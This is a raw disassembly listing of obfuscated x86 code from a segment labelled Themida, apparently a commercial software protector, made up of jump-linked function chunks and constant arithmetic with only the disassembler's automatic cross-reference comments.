loc_59F584:				; CODE XREF: sub_599059+128C1j
		pop	esi
		xchg	edx, [esp-0Ah+arg_6]
		mov	esp, [esp-0Ah+arg_6]
		jmp	loc_5AA683
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59F590:				; CODE XREF: Themida_:005A592Dj
		sub	esp, 4
		jmp	loc_5A2A3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59F59B:				; CODE XREF: sub_59EE40-60F6j
		sub	dh, 0BDh
		pop	eax
		jmp	loc_5A701E
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_59F5A4:				; CODE XREF: Themida_:005AC550j
		push	edi
		push	ecx
		mov	ecx, 9B865CDh
		jmp	loc_5A5A31

; =============== S U B	R O U T	I N E =======================================



sub_59F5B0	proc near		; DATA XREF: Themida_:00597AB8o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059B18B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A621D SIZE 00000016 BYTES

		mov	cx, [esp+0]
		jmp	loc_5A621D
sub_59F5B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_59F5B9:				; CODE XREF: sub_59EF66+1j
		mov	ebp, esp
		jmp	loc_5997FC
; END OF FUNCTION CHUNK	FOR sub_59EF66

; =============== S U B	R O U T	I N E =======================================



sub_59F5C0	proc near		; CODE XREF: sub_59D99C+1037Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00597DFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599012 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2AAF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3F90 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], edx
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5A2AAF
sub_59F5C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59F5D7:				; CODE XREF: sub_5A8D43-EBB9j
					; Themida_:005A4AF3j
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+12h+var_14+2]
		jmp	loc_5A4C77
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59F5E6:				; CODE XREF: sub_5A3F42-3A85j
		pop	ebx
		jmp	loc_59F147
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59F5EC:				; CODE XREF: sub_59C53B+AA05j
		jg	loc_5A7587
		sub	ecx, 1B2D36C1h
		js	loc_5997C5
		not	ecx
		xor	ecx, 28725663h
		mov	edx, ecx
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_59C53B
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59F609:				; CODE XREF: sub_5A8D43-FF03j
		sub	dword ptr [esp+4], 3B092AA8h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A7184
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59F61F:				; CODE XREF: sub_5A3F42+AE25j
		xor	ebx, 163B59B0h
		add	ecx, ebx
		pop	ebx
		xor	ecx, 2F7FADB4h
		add	edi, ecx
		jmp	loc_59C729
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59F635:				; CODE XREF: sub_599059+155E5j
		pop	edx
		add	esp, 4
		sub	ecx, 2
		push	68B6h
		mov	[esp-0Eh+arg_A], ecx
		push	[esp-0Eh+arg_E]
		push	[esp-0Ah+arg_6]
		jmp	loc_5A0B1D
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59F650:				; CODE XREF: sub_59CA4A-4889j
		pop	ebx
		jmp	loc_59D22C
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_59F656:				; CODE XREF: Themida_:0059CD43j
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A6296
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59F66C:				; CODE XREF: sub_599059+FBCDj
		pop	[esp-6+arg_0+2]
		jmp	loc_5A4525
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59F674:				; CODE XREF: sub_5A91EC-90E1j
		pop	edx
		push	2136h
		jmp	loc_59F2E9
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_59F67F:				; CODE XREF: sub_5ABA9B-956Cj
		pop	esi
		add	esp, 4
		add	ecx, 0AEE9D02Fh
		jmp	loc_5995C1
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_59F691:				; CODE XREF: Themida_:0059B24Bj
		pop	edx
		add	ebx, 4
		jmp	loc_59EE18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_59F69A:				; CODE XREF: sub_59B48F+D16j
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		cmp	cl, al
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_59F6A8:				; CODE XREF: sub_5AC402+F0Ej
		mov	[esp+0], edx
		push	ebx
		mov	bl, 90h
		mov	dl, 9Bh
		jmp	loc_5AB1EB
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_59F6B5:				; CODE XREF: Themida_:0059A6A2j
		push	eax
		push	edx
		mov	dh, 3Ah
		mov	al, 0CDh
		add	al, dh
		pop	edx
		mov	dh, 0Eh
		jmp	loc_59A90D
; ---------------------------------------------------------------------------


loc_59F6C5:				; CODE XREF: Themida_:0059FF65j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5A55F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59F6D1:				; CODE XREF: sub_5AB98B-12CA0j
		push	ax
		push	edx
		mov	dl, 58h
		mov	ah, dl
		pop	edx
		sub	ch, ah
		pop	ax
		jmp	loc_59BD9F
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59F6E2:				; CODE XREF: sub_598D16:loc_59AE0Dj
		jmp	loc_5A3242
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59F6E7:				; CODE XREF: sub_5A4F3D:loc_5A7066j
		dec	edi
		jg	loc_59FA84
		push	esi
		jmp	loc_59ADF4
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
		pop	edi
		push	ebx
		mov	ch, 0C7h
		mov	al, al
; START	OF FUNCTION CHUNK FOR sub_5A02F5


loc_59F6FA:				; CODE XREF: sub_5986D6+BBFj
					; sub_5A02F5-5072j
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		pop	esp
		movsx	cx, al
		push	small 755Ch
		mov	word ptr [esp-0Ah+arg_4+2], cx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A02F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59F712:				; CODE XREF: sub_59D99C+7455j
		shl	eax, 2
		jp	loc_59B460
		xor	eax, 0FF64F22Fh
		xor	edi, eax
		pop	eax
		add	edi, 30E1ABD0h
		mov	ecx, edi
		jmp	loc_5A4629
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59F730:				; CODE XREF: sub_599059+37C5j
		add	esp, 4
		push	eax
		jmp	loc_5A8D5A
; END OF FUNCTION CHUNK	FOR sub_599059

; =============== S U B	R O U T	I N E =======================================



sub_59F73C	proc near		; CODE XREF: sub_5A8C33+3A10j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598A8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CA32 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A6B8C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A961D SIZE 00000006 BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_59CA32
sub_59F73C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59F744:				; CODE XREF: sub_5A3F42-17F0j
		sub	edi, ebx
		pop	ebx
		mov	ebp, [esp+10h+var_10]
		jmp	loc_5AA493
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59F74F:				; CODE XREF: sub_59B707+C549j
		mov	[esp-10h+arg_C], ecx
		push	4
		pop	ecx
		mov	esi, ecx
		jmp	loc_59817E
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2A2A


loc_59F75F:				; CODE XREF: sub_5A2A2A+1j
					; sub_59C53B+7335j
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		rol	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A2A2A
; ---------------------------------------------------------------------------


loc_59F77B:				; CODE XREF: Themida_:0059B61Fj
		xor	[esp], ebx
		jmp	loc_59C944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59F783:				; CODE XREF: sub_59C53B+7DD0j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_59F788:				; CODE XREF: Themida_:005A3DFBj
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A1497
; ---------------------------------------------------------------------------


loc_59F799:				; CODE XREF: Themida_:005A2827j
		add	eax, ebp
		push	esi
		push	edx
		push	3F6C13C8h
		pop	edx
		or	edx, 7A7B51C5h
		xor	edx, 700354C8h
		jg	loc_5A46AB
		jmp	loc_5AE526
; ---------------------------------------------------------------------------
		sub	eax, 17806D45h
		mov	ebp, eax
		push	eax
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F7C2:				; CODE XREF: sub_5AC95F-13C53j
		shl	esi, 3
		jmp	loc_5A304A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59F7CA:				; CODE XREF: sub_59EE40+833Fj
		push	ecx
		mov	ch, 0ADh
		add	ch, 0FFh
		jmp	loc_5A7DEA
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59F7D5:				; CODE XREF: sub_5AEE2E-3B0Fj
		push	ecx
		jmp	sub_599EAC
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_59F7DB:				; CODE XREF: sub_597C68+Fj
		sub	edi, 38865C88h
		jz	loc_5A5D03
		jmp	loc_5A54A3
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59F7EC:				; CODE XREF: sub_59D24A+79C1j
		xor	bh, 7Fh
		jmp	loc_5A27C9
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_59F7F4:				; CODE XREF: sub_59DEB0+FA47j
		or	esi, 41E0A83h
		jmp	loc_5A7B52
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4470


loc_59F7FF:				; CODE XREF: sub_5A4470+Aj
		mov	edx, 71824200h
		jmp	loc_5A45BB
; END OF FUNCTION CHUNK	FOR sub_5A4470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_59F809:				; CODE XREF: sub_59EE57+474Bj
		sub	edx, edi
		jmp	loc_5A27FA
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59F810:				; CODE XREF: sub_59C53B+F5D6j
		jmp	loc_5A9EF5
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F815:				; CODE XREF: sub_5AC95F-6BE9j
		mov	cl, 5Ch
		not	cl
		push	ebx
		mov	bh, 72h
		add	bh, 85h
		shl	bh, 5
		and	bh, 66h
		xor	bh, 0E8h
		xor	bh, 98h
		xor	cl, bh
		jmp	loc_59FE3F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59F832:				; CODE XREF: Themida_:0059B45Bj
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59F83F:				; CODE XREF: sub_59C53B-4448j
		dec	ecx
		not	ecx
		dec	ecx
		jle	loc_5AE2DE
		xor	ecx, 2CB6380h
		jmp	loc_5A1014
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599258


loc_59F854:				; CODE XREF: sub_599258+26j
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		jmp	loc_5AC753
; END OF FUNCTION CHUNK	FOR sub_599258
; ---------------------------------------------------------------------------


loc_59F867:				; CODE XREF: Themida_:005A23FFj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ecx, ebp
		pop	ebp
		add	esi, 2D5E39C9h
		jmp	loc_59FB16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_59F886:				; CODE XREF: sub_5AAA81-83AFj
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5A8B86
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_59F893:				; CODE XREF: sub_5A36E3+BA01j
		pop	esp
		push	edi
		mov	edi, 66FA2E8Bh
		and	edx, edi
		jmp	loc_5A8455
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59F8A1:				; CODE XREF: sub_5AB3DC-96AEj
					; sub_5A7343+4082j
		sub	eax, 5B3315D7h
		pop	esi
		add	ebp, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_59D86E
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_59F8B4:				; CODE XREF: Themida_:0059856Ej
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, 0A0A08D19h
		push	eax
		add	dword ptr [esp], 51938BFh
		pop	edx
		sub	edx, 51938BFh
		jmp	loc_5A8867
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_59F8D6:				; CODE XREF: sub_5AB531-EAA0j
		dec	edx
		or	edx, 72CF4B79h
		shr	edx, 8
		add	edx, 6EE03D44h
		add	ebp, edx
		jmp	loc_5A4D55
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------


loc_59F8ED:				; CODE XREF: Themida_:005AA557j
		push	2CF0797h
		pop	ecx
		jmp	loc_5A0980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59F8F8:				; CODE XREF: sub_5AB3DC-13806j
		push	edx
		push	eax
		jmp	loc_5AB7AB
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_59F8FF:				; CODE XREF: Themida_:005A3045j
					; Themida_:005AC7A5j
		jmp	loc_5AEE66
; ---------------------------------------------------------------------------


loc_59F904:				; CODE XREF: Themida_:005AC3B3j
		pop	ebp
		push	ecx
		mov	ecx, 6FC83408h
		jmp	loc_5A67FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_59F910:				; CODE XREF: sub_5AB98B-13DE4j
		push	eax
		mov	al, 5Bh
		mov	bl, al
		pop	eax
		shr	bl, 5
		not	bl
		sub	bl, 98h
		shl	bl, 3
		dec	bl
		jmp	loc_59C352
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59F928:				; CODE XREF: sub_5A1B2A+6FD1j
		push	617Fh
		jmp	loc_5A3AAE
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59F932:				; CODE XREF: Themida_:0059E93Fj
		xor	ebx, eax
		jmp	loc_5ACB64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59F939:				; CODE XREF: sub_5A1B2A+BEF4j
		add	edx, ecx
		add	edx, 1B5A2FF9h
		pop	ecx
		jmp	loc_5A48D3
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59F947:				; CODE XREF: Themida_:005AB655j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5A1521
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59F95F:				; CODE XREF: sub_5A28BE+B567j
		and	ebx, 783063FFh
		jmp	loc_5A72C3
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_59F96A:				; CODE XREF: sub_59858D+4511j
		dec	ah
		js	loc_598B72
		push	edx
		mov	dl, 3Bh
		shr	dl, 7
		xchg	bl, dl
		not	bl
		xchg	bl, dl
; END OF FUNCTION CHUNK	FOR sub_59858D

; =============== S U B	R O U T	I N E =======================================



sub_59F97E	proc near		; CODE XREF: sub_5A8C33-37D5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059CB7A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AE773 SIZE 00000031 BYTES

		sub	esp, 4
		jmp	loc_59CB7A
sub_59F97E	endp

; ---------------------------------------------------------------------------


loc_59F989:				; CODE XREF: Themida_:005A69B5j
		mov	[esp], ax
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59F992:				; CODE XREF: sub_5A8899-109E2j
					; sub_59D99C+6F58j
		mov	esp, [esp-4+arg_0]
		pop	edx
		rep movsd
		add	esp, [edx+38h]
		push	edi
		sub	esp, 4
		jmp	loc_5A3C0D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_59F9A7:				; CODE XREF: sub_59B333+3j
		mov	[esp+4+var_4], ebp
		mov	ebp, 7846E6Dh
		shr	ebp, 8
		push	edx
		mov	edx, 237F574Ch
		sub	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 4C7615CDh
		dec	ebx
		neg	ebx
		add	ebx, 0FFFFFFFFh
		sub	ebx, 1
		jmp	loc_5A064C
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59F9D5:				; CODE XREF: sub_5AB88E-9740j
		mov	ebx, 4
		jmp	loc_5A1F12
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_59F9DF:				; CODE XREF: Themida_:0059FDEBj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A59CC
; ---------------------------------------------------------------------------


loc_59F9FE:				; CODE XREF: Themida_:0059C370j
		sub	ebx, ebp
		jmp	loc_5AD1F3
; ---------------------------------------------------------------------------


loc_59FA05:				; CODE XREF: Themida_:0059CD09j
		xor	esi, [esp]
		jmp	loc_59CBDF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	4F87h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5A285D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59FA3A:				; CODE XREF: sub_59A932+1100Fj
		pop	ebx
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		xor	ecx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		jmp	loc_59C0B2
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_59FA52:				; CODE XREF: sub_5AC402-6C5Dj
		push	edx
		mov	dl, bl
		mov	ah, dl
		pop	edx
		pop	bx
		shl	ah, 2
		add	ah, 0FEh
		xor	dl, ah
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		xor	al, dl
		mov	dx, [esp-0Ah+arg_6]
		push	edx
		push	esp
		mov	edx, [esp+0]
		add	esp, 4
		add	edx, 4
		jmp	loc_5A397D
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59FA84:				; CODE XREF: sub_5A4F3D-5855j
		push	esi
		jmp	loc_59ADA0
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A346D


loc_59FA8A:				; CODE XREF: sub_5A346D+610Ej
		pop	edi
		push	ebx
		mov	ebx, 6C7D0B7Ch
		add	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		pop	ebx
		add	ebp, 706809EEh
		push	edx
		jmp	loc_59CE1F
; END OF FUNCTION CHUNK	FOR sub_5A346D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A98EB


loc_59FAA6:				; CODE XREF: sub_5A98EB-2A43j
		xchg	eax, [esp+0]
		jmp	loc_59AA46
; END OF FUNCTION CHUNK	FOR sub_5A98EB
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	ecx
		mov	ecx, 20B26F84h
		mov	esi, ecx
		jmp	loc_5AEEF4
; ---------------------------------------------------------------------------


loc_59FABD:				; CODE XREF: Themida_:005A9FA7j
		mov	eax, 3033619Dh
		jmp	loc_5A80B6
; ---------------------------------------------------------------------------


loc_59FAC7:				; CODE XREF: Themida_:005A3CA0j
		push	esi
		mov	esi, 60382135h
		add	esi, 790A1035h
		shl	esi, 8
		shl	esi, 5
		or	esi, 359F3307h
		xor	esi, 4CB1620Ah
		push	ecx
		mov	ecx, 442223CFh
		add	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		add	ebx, edi
		jmp	loc_5A8A2C
; ---------------------------------------------------------------------------


loc_59FAF8:				; CODE XREF: Themida_:0059EDACj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59CCC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59FB08:				; CODE XREF: sub_5A438E-1068j
					; sub_5A8D43+5416j
		pop	edi
		push	edi
		mov	edi, 41E64C05h
		and	esi, edi
		jmp	loc_5AA167
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59FB16:				; CODE XREF: Themida_:0059F881j
		sub	esi, ecx
		jmp	loc_5A8A4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_59FB1D:				; CODE XREF: sub_5AB0CE+3CC6j
		add	eax, edi
		jmp	loc_5A9E88
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59FB24:				; CODE XREF: sub_5986D6+122A4j
		push	edx
		jmp	loc_5A22E1
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_59FB2A:				; CODE XREF: sub_5AD830-662j
		neg	ebx
		not	ebx
		or	ebx, 7252746Ah
		add	ebx, 0F5838512h
		or	ebp, ebx
		push	[esp+4+var_4]
		jmp	loc_5A8230
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59FB44:				; CODE XREF: sub_59D99C+10j
		shr	ebp, 6
		and	ebp, 3A3F057Bh
		jmp	loc_5A9F18
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_59FB52	proc near		; CODE XREF: sub_59D99C+3F32j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A763D SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		push	edi
		push	[esp+8+var_4]
		pop	edi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], eax
		jmp	loc_5A763D
sub_59FB52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA256


loc_59FB7D:				; CODE XREF: sub_5AA256+486Dj
		mov	eax, [esp-0Ah+arg_6]
		add	esp, 4
		add	esp, 4
		add	ebx, 46785233h
		jnp	loc_5A3219
		sub	ebx, 0A8AE78E0h
		push	ebx
		sub	esp, 4
		mov	[esp-0Ah+arg_6], ebx
		mov	ebx, 0EC41597h
		sub	[esp-0Ah+arg_A], 16DB58A9h
		add	[esp-0Ah+arg_A], ebx
		add	[esp-0Ah+arg_A], 16DB58A9h
		mov	ebx, [esp-0Ah+arg_6]
		push	5997h
		mov	[esp-6+arg_2], edx
		jmp	loc_5A44E4
; END OF FUNCTION CHUNK	FOR sub_5AA256
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 5D20600Dh
		neg	ecx
		xor	ecx, 34305C9Fh
		jge	loc_5AEA2D
		shl	ecx, 8
		jns	loc_5A2F86
		xor	ecx, 28FC6556h
		jo	loc_59ECB2
		shl	ecx, 3
		jnp	loc_5A1F32
		push	ebp
		mov	ebp, 76613EF9h
		and	ebp, 57B0FC4h
		mov	dl, cl
		push	esi
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59FC25:				; CODE XREF: sub_59D99C-2E53j
		mov	bh, 2Eh
		push	dx
		mov	dl, 0DCh
		and	bh, dl
		pop	dx
		push	eax
		mov	al, 0ABh
		sub	bh, al
		pop	eax
		jmp	loc_5A7094
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59FC3A:				; CODE XREF: sub_5A8C33-988Ej
		pop	esp
		xchg	esi, [esp+10h+var_10]
		jmp	loc_5A47CE
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_59FC43:				; CODE XREF: sub_5AC402-523Fj
		mov	ah, 77h
		jmp	loc_5A9168
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB0E


loc_59FC4A:				; CODE XREF: sub_5AAB0E+24j
		not	ecx
		not	ecx
		and	ecx, 4577541Fh
		jmp	loc_59880D
; END OF FUNCTION CHUNK	FOR sub_5AAB0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_59FC59:				; CODE XREF: sub_5ADDCC-4451j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------


loc_59FC5E:				; CODE XREF: Themida_:0059CEC6j
		sub	eax, 1600098Ch
		push	eax
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, edi
		jmp	loc_597FD1
; ---------------------------------------------------------------------------


loc_59FC73:				; CODE XREF: Themida_:005A5895j
		pop	ebx
